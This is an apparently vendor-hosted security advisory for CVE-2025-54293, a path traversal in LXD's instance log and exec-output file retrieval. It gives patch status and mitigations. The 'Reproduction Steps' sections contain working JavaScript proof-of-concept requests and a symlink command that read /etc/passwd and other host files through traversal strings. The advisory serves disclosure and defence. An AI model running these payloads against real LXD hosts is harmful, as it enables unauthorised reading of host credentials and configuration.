NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

CVE-2025-54293 — lxd

Fix: canonical/lxd#15022

CVE-2025-54293 is a Path Traversal vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.

Path Traversal in LXD Instance Log File Retrieval

Also known asGHSA-472f-vmf2-pr3hGO-2025-4000
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54293.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk+0.05%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk
0.00%0.36%0.73%1.09%0.1%0.1%0.5%0.5%0.6%May 26Jul 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

3 pkgs affected
🐹github.com/canonical/lxd🐹github.com/canonical/lxd🐹github.com/canonical/lxd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163

This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, , or .. .

Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

  1. Log in with an account having access to LXD-UI
  2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

Description (2)

A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

  1. Open terminal in instance using LXD-UI and create symbolic link:
ln -s /etc/passwd exec_XXX-symlink.stdout
  1. Execute the following JavaScript in browser DevTools to read files via symbolic link:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk

This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures

Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

LXD SeriesStatus
6Fixed in LXD 6.5
5.21Fixed in LXD 5.21.4
5.0Ignored - Not critical
4.0Ignored - Not critical

References

Reported by GMO Flatt Security Inc.

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/canonical/lxd≥ 4.0&&< 5.21.45.21.4go get github.com/canonical/lxd@v5.21.4
🐹Gogithub.com/canonical/lxd≥ 6.0&&< 6.56.5go get github.com/canonical/lxd@v6.5
🐹Gogithub.com/canonical/lxd≥ 0.0.0-20200331193331-03aab09f5b5c&&< 0.0.0-20250224180022-ec09b24179f30.0.0-20250224180022-ec09b24179f3go get github.com/canonical/lxd@v0.0.0-20250224180022-ec09b24179f3

Affected Products

1 product · 2 configurations
Application
lxdcanonical
≥ 6.0 && < 6.5
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/canonical/lxd to 5.21.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54293 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series. This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier. However, since LXD
O3 Security · Impact-Aware SCA

Is CVE-2025-54293 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2025-54293: lxd Path Traversal — Fixed in 5.21.4